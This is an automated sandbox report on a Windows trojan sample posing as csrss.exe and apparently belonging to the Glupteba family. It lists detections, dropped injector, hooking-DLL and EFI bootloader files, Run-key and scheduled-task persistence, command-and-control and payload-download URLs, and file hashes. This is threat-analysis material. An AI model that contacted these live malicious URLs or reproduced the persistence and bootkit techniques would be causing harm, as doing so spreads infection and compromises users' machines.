Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
csrss.exe	46%	Virustotal		Browse
csrss.exe	56%	ReversingLabs	Win32.Trojan.CrypterX
csrss.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\csrss\injector\injector.exe	100%	Avira	TR/Agent.twerk
C:\Users\user\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll	100%	Avira	TR/Redcap.gsjan
C:\Windows\windefender.exe	100%	Avira	TR/Crypt.XPACK.eocey
C:\Windows\rss\csrss.exe	100%	Joe Sandbox ML
B:\EFI\Boot\old.efi (copy)	0%	ReversingLabs
B:\EFI\Microsoft\Boot\fw.efi (copy)	0%	ReversingLabs
C:\EFI\Boot\EfiGuardDxe.efi	0%	ReversingLabs
C:\EFI\Boot\bootx64.efi	0%	ReversingLabs
C:\EFI\Microsoft\Boot\bootmgfw.efi	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll	46%	Metadefender		Browse
C:\Users\user\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll	59%	ReversingLabs	Win64.Trojan.Glupject
C:\Users\user\AppData\Local\Temp\csrss\injector\injector.exe	14%	Metadefender		Browse
C:\Users\user\AppData\Local\Temp\csrss\injector\injector.exe	73%	ReversingLabs	Win64.Trojan.Glupteba
C:\Windows\rss\csrss.exe	56%	ReversingLabs	Win32.Trojan.CrypterX
C:\Windows\windefender.exe	29%	Metadefender		Browse
C:\Windows\windefender.exe	82%	ReversingLabs	Win32.Trojan.WinGoRanumBot

Unpacked PE Files

Source	Detection	Scanner	Label	Download
11.3.csrss.exe.155da600.17.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
11.2.csrss.exe.15862000.17.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
11.3.csrss.exe.155e7000.16.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label
https://runmodes.com/api/logfd1ff7c8-ab00-47a4-8c64-fdf00aafb0b1.uuid.trumops.comMicrosoft	100%	Avira URL Cloud	malware
https://retoti.comidentifier	0%	Avira URL Cloud	safe
http://gohnot.com/f007e85833f8db4f7f7d8560f2ed01cc	0%	Avira URL Cloud	safe
https://trumops.comhttps://retoti.comhttps://trumops.comhttps://retoti.comFirstInstallDateFirstInsta	0%	Avira URL Cloud	safe
https://trumops.comhttps://retoti.comS-1-5-21-3853321935-2125563209-4053062332-1002	0%	Avira URL Cloud	safe
https://raw.githubusercontent.com/spesmilo/electrum/master/electrum/servers.jsontls:	0%	URL Reputation	safe
http://gohnot.com/f007e85833f8db4f7f7d8560f2ed01cc/watchdog.exeH0	0%	Avira URL Cloud	safe
https://trumops.comhttps://retoti.comhttps://trumops.comhttps://retoti.comS-1-5-21-3853321935-212556	0%	Avira URL Cloud	safe
http://gais.cs.ccu.edu.tw/robot.php)Gulper	0%	Avira URL Cloud	safe
https://server1.trumops.comc=46ef84abf2b294f6&uuid=server1.trumops.com:443server1.trumops.com:443tcp	0%	Avira URL Cloud	safe
https://logs.trumops.com	0%	Avira URL Cloud	safe
http://www.spidersoft.com)Wget/1.9	0%	Avira URL Cloud	safe
https://trumops.comhttps://retoti.comServiceVersionServersVersionDistributorIDCampaignIDOSCaptionMic	0%	Avira URL Cloud	safe
https://retoti.com	0%	Avira URL Cloud	safe
https://trumops.comif-unmodified-sinceillegal	0%	Avira URL Cloud	safe
http://help.ya	0%	Avira URL Cloud	safe
https://server1.trumops.com	0%	Avira URL Cloud	safe
http://devlog.gregarius.net/docs/ua)Links	0%	URL Reputation	safe
https://trumops.comhttps://retoti.comGlobal	0%	Avira URL Cloud	safe
https://trumops.comServiceVersionServiceVersionServersVersionServersVersionDistributorIDCampaignIDOS	0%	Avira URL Cloud	safe
https://runmodes.com/api/log	100%	Avira URL Cloud	malware
http://grub.org)Mozilla/5.0	0%	Avira URL Cloud	safe
http://www.everyfeed.c	0%	Avira URL Cloud	safe
https://trumops.com	0%	Avira URL Cloud	safe
http://www.exabot.com/go/robot)Opera/9.80	0%	URL Reputation	safe
http://www.googlebot.com/bot.html)Links	0%	URL Reputation	safe
https://server1.trumops.com/api/pollxeserver1.trumops.com	0%	Avira URL Cloud	safe
https://server1.trumops.comserver1.trumops.com:443server1.trumops.com:443	0%	Avira URL Cloud	safe
https://trumops.com/api/install-failureinvalid	0%	Avira URL Cloud	safe
https://logs.trumops.comhttps://runmodes.com/api/loghttps://server1.trumops.comC:	0%	Avira URL Cloud	safe
https://server1.trumops.com/api/cdn?c=46ef84abf2b294f6&uuid=fd1ff7c8-ab00-47a4-8c64-fdf00aafb0b1	0%	Avira URL Cloud	safe
https://server1.trumops.com/api/poll	0%	Avira URL Cloud	safe
http://https://_bad_pdb_file.pdb	0%	Avira URL Cloud	safe
http://gohnot.com/f007e85833f8db4f7f7d8560f2ed01cc/watchdog.exe	0%	Avira URL Cloud	safe
http://www.bloglines.com)F	0%	Avira URL Cloud	safe
http://misc.yahoo.com.cn/he	0%	Avira URL Cloud	safe
https://server1.trumops.com/bots/post-ia-data?uuid=fd1ff7c8-ab00-47a4-8c64-fdf00aafb0b1	0%	Avira URL Cloud	safe
http://newscommer.com/app/app.exe	100%	URL Reputation	malware
https://server1.trumops.com/api/pollx	0%	Avira URL Cloud	safe
http://crl.g	0%	URL Reputation	safe
https://blockchain.infoindex	0%	URL Reputation	safe
https://sitescore.aiValue	0%	Avira URL Cloud	safe
http://www.avantbrowser.com)MOT-V9mm/00.62	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
runmodes.com	172.67.207.136	true	false	high
gohnot.com	104.21.92.165	true	false	high
server1.trumops.com	172.67.139.144	true	false	high
fd1ff7c8-ab00-47a4-8c64-fdf00aafb0b1.uuid.trumops.com	unknown	unknown	false	high
trumops.com	unknown	unknown	false	high
logs.trumops.com	unknown	unknown	false	high
e0a50c60a85bfbb9ecf45bff0239aaa3.hash.trumops.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://runmodes.com/api/log	true	Avira URL Cloud: malware	unknown
https://server1.trumops.com/api/cdn?c=46ef84abf2b294f6&uuid=fd1ff7c8-ab00-47a4-8c64-fdf00aafb0b1	false	Avira URL Cloud: safe	unknown
https://server1.trumops.com/api/poll	false	Avira URL Cloud: safe	unknown
http://gohnot.com/f007e85833f8db4f7f7d8560f2ed01cc/watchdog.exe	false	Avira URL Cloud: safe	unknown
https://server1.trumops.com/bots/post-ia-data?uuid=fd1ff7c8-ab00-47a4-8c64-fdf00aafb0b1	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://runmodes.com/api/logfd1ff7c8-ab00-47a4-8c64-fdf00aafb0b1.uuid.trumops.comMicrosoft	csrss.exe, 0000000B.00000003.476986558.00000000154D2000.00000004.00000001.sdmp	true	Avira URL Cloud: malware	unknown
https://retoti.comidentifier	csrss.exe	false	Avira URL Cloud: safe	unknown
http://gohnot.com/f007e85833f8db4f7f7d8560f2ed01cc	csrss.exe, 0000000B.00000002.581732565.00000000155E2000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://search.msn.com/msnb	csrss.exe	false		high
https://trumops.comhttps://retoti.comhttps://trumops.comhttps://retoti.comFirstInstallDateFirstInsta	csrss.exe, 00000000.00000002.336015322.000000001540A000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://trumops.comhttps://retoti.comS-1-5-21-3853321935-2125563209-4053062332-1002	csrss.exe, 00000000.00000002.336133093.0000000015414000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://raw.githubusercontent.com/spesmilo/electrum/master/electrum/servers.jsontls:	csrss.exe	false	URL Reputation: safe	unknown
http://gohnot.com/f007e85833f8db4f7f7d8560f2ed01cc/watchdog.exeH0	csrss.exe, 0000000B.00000003.474964390.00000000155E2000.00000004.00000001.sdmp, csrss.exe, 0000000B.00000002.581732565.00000000155E2000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://trumops.comhttps://retoti.comhttps://trumops.comhttps://retoti.comS-1-5-21-3853321935-212556	csrss.exe, 00000002.00000002.362022770.0000000015458000.00000004.00000001.sdmp, csrss.exe, 0000000B.00000003.476986558.00000000154D2000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://gais.cs.ccu.edu.tw/robot.php)Gulper	csrss.exe	false	Avira URL Cloud: safe	unknown
https://server1.trumops.comc=46ef84abf2b294f6&uuid=server1.trumops.com:443server1.trumops.com:443tcp	csrss.exe, 0000000B.00000003.473478727.0000000015737000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	low
https://logs.trumops.com	csrss.exe, 0000000B.00000002.581015519.00000000154B4000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.google.com/bot.html)tls:	csrss.exe	false		high
http://www.spidersoft.com)Wget/1.9	csrss.exe	false	Avira URL Cloud: safe	low
https://trumops.comhttps://retoti.comServiceVersionServersVersionDistributorIDCampaignIDOSCaptionMic	csrss.exe, 00000002.00000002.361974234.0000000015452000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://retoti.com	csrss.exe, 00000000.00000002.336015322.000000001540A000.00000004.00000001.sdmp, csrss.exe, 00000002.00000002.361974234.0000000015452000.00000004.00000001.sdmp, csrss.exe, 0000000B.00000002.581015519.00000000154B4000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://trumops.comif-unmodified-sinceillegal	csrss.exe, 00000000.00000002.329129889.0000000000400000.00000040.00020000.sdmp, csrss.exe, 00000000.00000003.318736292.0000000004DB0000.00000004.00000001.sdmp, csrss.exe, 00000000.00000002.333885879.0000000004500000.00000040.00000001.sdmp, csrss.exe, 00000002.00000002.357231429.0000000004500000.00000040.00000001.sdmp, csrss.exe, 00000002.00000003.336729925.0000000004DB0000.00000004.00000001.sdmp, csrss.exe, 00000002.00000002.354740433.0000000000400000.00000040.00020000.sdmp	false	Avira URL Cloud: safe	unknown
http://help.ya	csrss.exe	false	Avira URL Cloud: safe	unknown
https://server1.trumops.com	csrss.exe, 0000000B.00000002.581015519.00000000154B4000.00000004.00000001.sdmp, csrss.exe, 0000000B.00000003.473478727.0000000015737000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://devlog.gregarius.net/docs/ua)Links	csrss.exe	false	URL Reputation: safe	unknown
https://trumops.comhttps://retoti.comGlobal	csrss.exe, 0000000B.00000002.581015519.00000000154B4000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://trumops.comServiceVersionServiceVersionServersVersionServersVersionDistributorIDCampaignIDOS	csrss.exe, 00000000.00000002.336083257.000000001540E000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://grub.org)Mozilla/5.0	csrss.exe	false	Avira URL Cloud: safe	low
http://www.everyfeed.c	csrss.exe	false	Avira URL Cloud: safe	unknown
https://turnitin.com/robot/crawlerinfo.html)gentraceback	csrss.exe	false		high
https://trumops.com	csrss.exe, 00000000.00000002.336015322.000000001540A000.00000004.00000001.sdmp, csrss.exe, 00000000.00000002.336083257.000000001540E000.00000004.00000001.sdmp, csrss.exe, 00000002.00000002.361974234.0000000015452000.00000004.00000001.sdmp, csrss.exe, 0000000B.00000002.581015519.00000000154B4000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://builtwith.com/biup)	csrss.exe	false		high
http://www.exabot.com/go/robot)Opera/9.80	csrss.exe	false	URL Reputation: safe	unknown
http://www.googlebot.com/bot.html)Links	csrss.exe	false	URL Reputation: safe	unknown
http://search.msn.com/msnbot.htm)net/http:	csrss.exe	false		high
https://server1.trumops.com/api/pollxeserver1.trumops.com	csrss.exe, 0000000B.00000002.581015519.00000000154B4000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://search.msn.com/msnbot.htm)msnbot/1.1	csrss.exe	false		high
https://server1.trumops.comserver1.trumops.com:443server1.trumops.com:443	csrss.exe, 0000000B.00000002.581015519.00000000154B4000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	low
https://trumops.com/api/install-failureinvalid	csrss.exe	false	Avira URL Cloud: safe	unknown
http://www.archive.org/details/archive.org_bot)Opera/9.80	csrss.exe	false		high
http://www.baidu.com/search/spider.htm)MobileSafari/600.1.4	csrss.exe, 00000000.00000002.329129889.0000000000400000.00000040.00020000.sdmp, csrss.exe, 00000000.00000003.318736292.0000000004DB0000.00000004.00000001.sdmp, csrss.exe, 00000000.00000002.333885879.0000000004500000.00000040.00000001.sdmp, csrss.exe, 00000002.00000002.357231429.0000000004500000.00000040.00000001.sdmp, csrss.exe, 00000002.00000003.336729925.0000000004DB0000.00000004.00000001.sdmp, csrss.exe, 00000002.00000002.354740433.0000000000400000.00000040.00020000.sdmp	false		high
http://yandex.com/bots)Opera/9.51	csrss.exe	false		high
http://www.google.com/bot.html)Mozilla/5.0	csrss.exe	false		high
https://logs.trumops.comhttps://runmodes.com/api/loghttps://server1.trumops.comC:	csrss.exe, 0000000B.00000002.581015519.00000000154B4000.00000004.00000001.sdmp	true	Avira URL Cloud: safe	unknown
http://https://_bad_pdb_file.pdb	csrss.exe, 00000000.00000002.334778266.0000000004B59000.00000040.00000001.sdmp, csrss.exe, 00000000.00000002.330524283.0000000000A59000.00000040.00020000.sdmp, csrss.exe, 00000000.00000003.319414123.0000000005408000.00000004.00000001.sdmp, csrss.exe, 00000002.00000003.338566890.0000000005408000.00000004.00000001.sdmp, csrss.exe, 00000002.00000002.360835119.0000000004B59000.00000040.00000001.sdmp, csrss.exe, 00000002.00000002.355670843.0000000000A59000.00000040.00020000.sdmp	false	Avira URL Cloud: safe	low
http://archive.org/details/archive.org_bot)Mozilla/5.0	csrss.exe	false		high
http://www.bloglines.com)F	csrss.exe	false	Avira URL Cloud: safe	low
http://misc.yahoo.com.cn/he	csrss.exe	false	Avira URL Cloud: safe	unknown
http://newscommer.com/app/app.exe	csrss.exe, 0000000B.00000003.363550452.000000000518A000.00000004.00000001.sdmp	true	URL Reputation: malware	unknown
http://www.google.com/feedfetcher.html)HKLM	csrss.exe	false		high
https://server1.trumops.com/api/pollx	csrss.exe, 0000000B.00000002.581015519.00000000154B4000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.g	csrss.exe, 00000000.00000002.332681702.0000000004000000.00000040.00000001.sdmp, csrss.exe, 00000002.00000002.356609846.0000000004000000.00000040.00000001.sdmp	false	URL Reputation: safe	unknown
https://blockchain.infoindex	csrss.exe	false	URL Reputation: safe	unknown
http://www.baidu.com/search/spide	csrss.exe	false		high
http://yandex.com/bots)Opera/9.80	csrss.exe	false		high
https://sitescore.aiValue	csrss.exe	false	Avira URL Cloud: safe	unknown
http://www.avantbrowser.com)MOT-V9mm/00.62	csrss.exe	false	Avira URL Cloud: safe	low
http://search.msn.com/msnbot.htm)pkcs7:	csrss.exe, 00000000.00000002.329129889.0000000000400000.00000040.00020000.sdmp, csrss.exe, 00000000.00000003.318736292.0000000004DB0000.00000004.00000001.sdmp, csrss.exe, 00000000.00000002.333885879.0000000004500000.00000040.00000001.sdmp, csrss.exe, 00000002.00000002.357231429.0000000004500000.00000040.00000001.sdmp, csrss.exe, 00000002.00000003.336729925.0000000004DB0000.00000004.00000001.sdmp, csrss.exe, 00000002.00000002.354740433.0000000000400000.00000040.00020000.sdmp	false		high
http://www.alexa.com/help/webmasters;	csrss.exe	false		high
http://www.google.com/adsbot.html)Encountered	csrss.exe	false		high

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	ASN	ASN Name	Malicious
172.67.139.144	server1.trumops.com	United States	13335	CLOUDFLARENETUS	false
104.21.34.203	unknown	United States	13335	CLOUDFLARENETUS	false
104.21.92.165	gohnot.com	United States	13335	CLOUDFLARENETUS	false
104.21.79.9	unknown	United States	13335	CLOUDFLARENETUS	false
172.67.207.136	runmodes.com	United States	13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox Version:	34.0.0 Boulder Opal
Analysis ID:	530163
Start date:	29.11.2021
Start time:	05:58:27
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 13m 51s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	csrss.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	54
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	1
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.rans.troj.evad.winEXE@77/11@12/5
EGA Information:	Failed
HDC Information:	Successful, ratio: 96.7% (good quality ratio 50%) Quality average: 39.2% Quality standard deviation: 43.3%
HCA Information:	Failed
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .exe
Warnings:	Show All Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, consent.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe Excluded IPs from analysis (whitelisted): 51.11.168.232, 51.104.136.2, 23.211.4.86 Excluded domains from analysis (whitelisted): fs.microsoft.com, ctldl.windowsupdate.com, settings-win.data.microsoft.com, e1723.g.akamaiedge.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, arc.msn.com, settingsfd-geo.trafficmanager.net, ris.api.iris.microsoft.com, onecs-live.azureedge.net, displaycatalog.mp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, prod.fs.microsoft.com.akadns.net Not all processes where analyzed, report is missing behavior information Report creation exceeded maximum time and may have missing disassembly code information. Report size exceeded maximum capacity and may have missing behavior information. Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtProtectVirtualMemory calls found. Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
05:59:38	API Interceptor	18x Sleep call for process: csrss.exe modified
05:59:52	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run DawnWater "C:\Windows\rss\csrss.exe"
06:00:00	Task Scheduler	Run new task: csrss path: C:\Windows\rss\csrss.exe
06:00:00	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run DawnWater "C:\Windows\rss\csrss.exe"

Joe Sandbox View / Context

IPs

No context

Domains

No context

ASN

No context

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

B:\EFI\Boot\old.efi (copy) Download File
Process:	C:\Windows\rss\csrss.exe
File Type:	MS-DOS executable
Category:	dropped
Size (bytes):	7680
Entropy (8bit):	4.486535052248291
Encrypted:	false
SSDEEP:	48:glTSYARWU4VIDJY5fxSgwG89gAgseSNhcl7HoE4h2KP+59L+1o7InTJ/R9W3afJX:stOWU+rpT8ZeSNul7IEkdAL+pt/63
MD5:	17ACB515B5FA45DEF030B191E5BC7991
SHA1:	539E0729C6FE8460F20A0DF044DCE5D3AB629E7C
SHA-256:	9FDB7C1359F3F2F7279F1DF4BDE648C080231ED21A22906E908EF3F91F0D00EE
SHA-512:	5057F569321E7F3E40CF427D87FBFD4331E33914A61FAB059AE870BC6C17640E63CDFB7AE323846F161B124875BA874BED3A674D434CA3E5BC8116F6600062EA
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................................................................................................................................................................................................PE..d................." .........................................................`.......!.......................................................................0...............P......<#...............................................................................text............................... ..h.data........ ......................@....pdata.......0......................@..H.xdata.......@......................@..B.reloc.......P......................@..B................................................................................................................................................................................................................................................................................................................................................

B:\EFI\Microsoft\Boot\fw.efi (copy) Download File
Process:	C:\Windows\rss\csrss.exe
File Type:	MS-DOS executable
Category:	dropped
Size (bytes):	7680
Entropy (8bit):	4.486535052248291
Encrypted:	false
SSDEEP:	48:glTSYARWU4VIDJY5fxSgwG89gAgseSNhcl7HoE4h2KP+59L+1o7InTJ/R9W3afJX:stOWU+rpT8ZeSNul7IEkdAL+pt/63
MD5:	17ACB515B5FA45DEF030B191E5BC7991
SHA1:	539E0729C6FE8460F20A0DF044DCE5D3AB629E7C
SHA-256:	9FDB7C1359F3F2F7279F1DF4BDE648C080231ED21A22906E908EF3F91F0D00EE
SHA-512:	5057F569321E7F3E40CF427D87FBFD4331E33914A61FAB059AE870BC6C17640E63CDFB7AE323846F161B124875BA874BED3A674D434CA3E5BC8116F6600062EA
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................................................................................................................................................................................................PE..d................." .........................................................`.......!.......................................................................0...............P......<#...............................................................................text............................... ..h.data........ ......................@....pdata.......0......................@..H.xdata.......@......................@..B.reloc.......P......................@..B................................................................................................................................................................................................................................................................................................................................................

C:\EFI\Boot\EfiGuardDxe.efi Download File
Process:	C:\Windows\rss\csrss.exe
File Type:	MS-DOS executable
Category:	dropped
Size (bytes):	279552
Entropy (8bit):	4.553173975914215
Encrypted:	false
SSDEEP:	3072:ekODsOuozgl9aXsRzZZZZrUhFapDL4k2yntc:ekeklesRD6yt
MD5:	2B84CB96AE6280C2020FA46E4A8A07D8
SHA1:	E920E40CFC0C6A805D657C8F23F9C0612CD39F59
SHA-256:	01E86A4DFE6E0DE7857B3CF2FAFD041C8B3A3241E00844CB6BFBD3BFAE2D36BC
SHA-512:	F1A6598116F78FBA1F9531301A7313AC204BAB3B7AEBC299F69F2ED406F4EDAFC3410DB860E93D0DC7C24398F5A7FF595764400F31A3A06679FD6EC0EFB116D9
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ..............................................................................................................................................................................................PE..d................." ................x........................................................................................................................P...............p.......................................................................................text.............................. ..h.data..............................@....pdata.......P.......8..............@..H.xdata..X....`.......<..............@..B.reloc.......p.......B..............@..B........................................................................................................................................................................................................................................................................................................................................................

C:\EFI\Boot\bootx64.efi Download File
Process:	C:\Windows\rss\csrss.exe
File Type:	MS-DOS executable
Category:	dropped
Size (bytes):	7680
Entropy (8bit):	4.486535052248291
Encrypted:	false
SSDEEP:	48:glTSYARWU4VIDJY5fxSgwG89gAgseSNhcl7HoE4h2KP+59L+1o7InTJ/R9W3afJX:stOWU+rpT8ZeSNul7IEkdAL+pt/63
MD5:	17ACB515B5FA45DEF030B191E5BC7991
SHA1:	539E0729C6FE8460F20A0DF044DCE5D3AB629E7C
SHA-256:	9FDB7C1359F3F2F7279F1DF4BDE648C080231ED21A22906E908EF3F91F0D00EE
SHA-512:	5057F569321E7F3E40CF427D87FBFD4331E33914A61FAB059AE870BC6C17640E63CDFB7AE323846F161B124875BA874BED3A674D434CA3E5BC8116F6600062EA
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................................................................................................................................................................................................PE..d................." .........................................................`.......!.......................................................................0...............P......<#...............................................................................text............................... ..h.data........ ......................@....pdata.......0......................@..H.xdata.......@......................@..B.reloc.......P......................@..B................................................................................................................................................................................................................................................................................................................................................

C:\EFI\Microsoft\Boot\bootmgfw.efi Download File
Process:	C:\Windows\rss\csrss.exe
File Type:	MS-DOS executable
Category:	dropped
Size (bytes):	7680
Entropy (8bit):	4.486535052248291
Encrypted:	false
SSDEEP:	48:glTSYARWU4VIDJY5fxSgwG89gAgseSNhcl7HoE4h2KP+59L+1o7InTJ/R9W3afJX:stOWU+rpT8ZeSNul7IEkdAL+pt/63
MD5:	17ACB515B5FA45DEF030B191E5BC7991
SHA1:	539E0729C6FE8460F20A0DF044DCE5D3AB629E7C
SHA-256:	9FDB7C1359F3F2F7279F1DF4BDE648C080231ED21A22906E908EF3F91F0D00EE
SHA-512:	5057F569321E7F3E40CF427D87FBFD4331E33914A61FAB059AE870BC6C17640E63CDFB7AE323846F161B124875BA874BED3A674D434CA3E5BC8116F6600062EA
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................................................................................................................................................................................................PE..d................." .........................................................`.......!.......................................................................0...............P......<#...............................................................................text............................... ..h.data........ ......................@....pdata.......0......................@..H.xdata.......@......................@..B.reloc.......P......................@..B................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll Download File
Process:	C:\Windows\rss\csrss.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	101376
Entropy (8bit):	5.951577458824018
Encrypted:	false
SSDEEP:	3072:U3JJpaHtGsxJZ7zmaUMf2ETb4w1GMYbuT:csTF5U3EfndT
MD5:	09031A062610D77D685C9934318B4170
SHA1:	880F744184E7774F3D14C1BB857E21CC7FE89A6D
SHA-256:	778BD69AF403DF3C4E074C31B3850D71BF0E64524BEA4272A802CA9520B379DD
SHA-512:	9A276E1F0F55D35F2BF38EB093464F7065BDD30A660E6D1C62EED5E76D1FB2201567B89D9AE65D2D89DC99B142159E36FB73BE8D5E08252A975D50544A7CDA27
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Metadefender, Detection: 46%, Browse Antivirus: ReversingLabs, Detection: 59%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b..............k......k......k..r...w......w......w......k............. w...... w...... w......Rich............PE..d...o.D`.........." ................$/....................................................`..................................................g..(...............p...............<....W..8...........................@W..8............................................text............................... ..`.rdata.............................@..@.data................d..............@....pdata..p............p..............@..@_RDATA..............................@..@.rsrc...............................@..@.reloc..<...........................@..B................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\csrss\injector\injector.exe Download File
Process:	C:\Windows\rss\csrss.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	288256
Entropy (8bit):	6.31266455792162
Encrypted:	false
SSDEEP:	3072:qbHszDaOJ8u2HHFIWr6e29kOnK7qFQ8wMii5I7kGvNjzMuszHshoY46bEydJ+dK9:SA3IlIA6e29vngqS8wMmuooh8z+8F
MD5:	D98E33B66343E7C96158444127A117F6
SHA1:	BB716C5509A2BF345C6C1152F6E3E1452D39D50D
SHA-256:	5DE4E2B07A26102FE527606CE5DA1D5A4B938967C9D380A3C5FE86E2E34AAAF1
SHA-512:	705275E4A1BA8205EB799A8CF1737BC8BA686925E52C9198A6060A7ABEEE65552A85B814AC494A4B975D496A63BE285F19A6265550585F2FC85824C42D7EFAB5
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Metadefender, Detection: 14%, Browse Antivirus: ReversingLabs, Detection: 73%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$................................\|..............................................t...........Rich...................PE..d...l.D`..........".................T..........@..........................................`.....................................................(............`...'..............`...@...8...............................8............................................text...H........................... ..`.rdata...9.......:..................@..@.data...`....0......................@....pdata...'...`...(..................@..@_RDATA...............V..............@..@.rsrc................X..............@..@.reloc..`............Z..............@..B........................................................................................................................................................................................................

C:\Windows\Logs\CBS\CBS.log Download File
Process:	C:\Windows\servicing\TrustedInstaller.exe
File Type:	UTF-8 Unicode (with BOM) text, with very long lines, with CRLF line terminators
Category:	modified
Size (bytes):	3080192
Entropy (8bit):	5.313207577050792
Encrypted:	false
SSDEEP:	6144:TLS5YygL1mnGVFQa/qJIxOfTFyKQel5lmhSVjfChq4TMmdqIH:TL1dq
MD5:	D92F490DED25C687EF69CB96F92D703A
SHA1:	6DC069F1ADE2883144CD251AAA25051107A1A260
SHA-256:	9FE3540363E9159A98ABFDC1E67D55D16933E901A8A09CB4403BE98E2C92A352
SHA-512:	BB5F0BF49E1D39E957196B073A26F63AB32CA9211125160C2B65934FD54878E1D4FC511978C3DDF70D59DEC9E6D450CFB89FD7DF24D6CC13A2A0124F8BAD331B
Malicious:	false
Reputation:	unknown
Preview:	.2019-06-27 00:55:29, Info CBS TI: --- Initializing Trusted Installer ---..2019-06-27 00:55:29, Info CBS TI: Last boot time: 2019-06-27 00:49:51.660..2019-06-27 00:55:29, Info CBS Starting TrustedInstaller initialization...2019-06-27 00:55:29, Info CBS Lock: New lock added: CCbsPublicSessionClassFactory, level: 30, total lock:4..2019-06-27 00:55:29, Info CBS Lock: New lock added: CCbsPublicSessionClassFactory, level: 30, total lock:5..2019-06-27 00:55:29, Info CBS Lock: New lock added: WinlogonNotifyLock, level: 8, total lock:6..2019-06-27 00:55:29, Info CBS Ending TrustedInstaller initialization...2019-06-27 00:55:29, Info CBS Starting the TrustedInstaller main loop...2019-06-27 00:55:29, Info CBS TrustedInstaller service starts successfully...2019-06-27 00:55:29, Info CBS No startup pr

C:\Windows\rss\csrss.exe Download File
Process:	C:\Users\user\Desktop\csrss.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4527104
Entropy (8bit):	7.942144110228158
Encrypted:	false
SSDEEP:	98304:O7bSKidcNazelAVhpWi0Wyh1ME1WCiJuz3boXc67i3R:O7ObWJlAVkWyhx1WCSM3boM8
MD5:	EE7331757219F7A223712025F3FC70BE
SHA1:	FED5E55C386ACCF9A62A9A31311CCE505D312099
